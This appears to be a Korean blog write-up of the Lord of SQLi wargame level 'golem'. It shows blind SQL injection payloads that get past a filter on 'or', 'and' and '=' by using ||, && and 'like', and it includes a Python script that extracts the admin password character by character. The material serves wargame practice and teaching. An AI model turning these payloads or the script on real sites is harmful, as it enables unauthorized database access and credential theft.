문제
문제 분석
pw에 "prob" , "_" , ".","or","and","substr","="를 피해줘야 하고
id를 조회하는 쿼리가 참이된다면 hello {id}가 출력되는데 이것으로 blind injection을 진행한다.
결국 blind injection으로 알아낸 admin의 pw값을 정확히 입력해줘야 문제가 풀린다.
pw값이 존재하며 입력 받은 pw의 값과 같은 조건을 우회하기는 힘들다.
이때 or, and, = 가 필터링 되어있어 이를 우회하는게 핵심이다.
문제풀이
pw에 '(싱글쿼터)를 넣어주어 아무값도 없게 만들고 or를 입력해서 뒤에 쿼리를 id='admin' and 1(1 대신 원하는 조건)으로 조작한다
where id='admin' and pw= '' or id='admin' and 1
=> and로 묶이는 주황색 조건은 pw='' 때문에 전부 false가 되고 뒤에 id가 admin이란 조건과 참인 조건이 만나면 hello admin이 출력되어 조건이 맞는지 아닌지 파악 가능
=>파란색 조건에서 id='admin'조건을 해주지않는다면 다른 id인 guest와 혼동될수 있다.
이제 1 대신 pw와 관련된 조건을 입력하여 blind injection을 진행하는데 이때 or 과 and =를 아래와 같이 바꿔줘서 진행한다.
or -> ||
and -> &&
= -> like
문제 정답
pw 길이를 알아내는 조건
URL?pw=' || id like 'admin' && (length(pw) like 1)#
1의 값을 하나씩 바꿔주는데 hello admin이 출력되는 수가 pw의 길이이다.
pw 값을 알아내는 조건
URL?pw=' || (ascii(mid(pw,1,1)) like 1)#
pw의 자릿수를 아스키코드로 바꿔 참이되는지 파악하는 조건문이며 1은 pw의 자릿수를 의미하고 1에 맞는 ascii 숫자가 들어가면 조건이 참이 되면서 hello admin이 된다.
url을 조작할시 %23으로 입력해줘야한다.
따라서 위의 조건을 통해 password를 알아내서 pw를 정확히 입력하면 문제가 풀린다.
URL?pw=77d6290b
아래의 코드를 통해 쉽게 알아낼 수 있다.
문제 풀이 코드
import requests
url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
session = {'PHPSESSID' : 'cdbquk3ihvfimiirqf0fdagc39'} #로그인 쿠키
data={}
password=""
for pw_length in range(1,12):
data['pw']="' || id like 'admin' && (length(pw) like "+str(pw_length)+")#"
res = requests.get(url, params=data, cookies=session)
if "Hello admin" in res.text:
print("pw_length:"+str(pw_length))
break
for i in range(1,pw_length+1):
for j in range(32,127):
data['pw']="' || (ascii(mid(pw,"+str(i)+",1)) like "+str(j)+")#"
res = requests.get(url, params=data, cookies=session)
if "Hello admin" in res.text:
password+=chr(j)
print(password)
break
data['pw']=password
res = requests.get(url, params=data, cookies=session)
print(res.url)
if "Clear!" in res.text:
print("\nClear!")
else:
print("try again!")
'LOS-write up' 카테고리의 다른 글
LOS 13(bugbear) (0) | 2021.01.03 |
---|---|
LOS 12(darkknight) (0) | 2021.01.03 |
LOS 10(skeleton) (0) | 2021.01.03 |
LOS 9(vampire) (0) | 2021.01.03 |
LOS 8(troll) (0) | 2021.01.03 |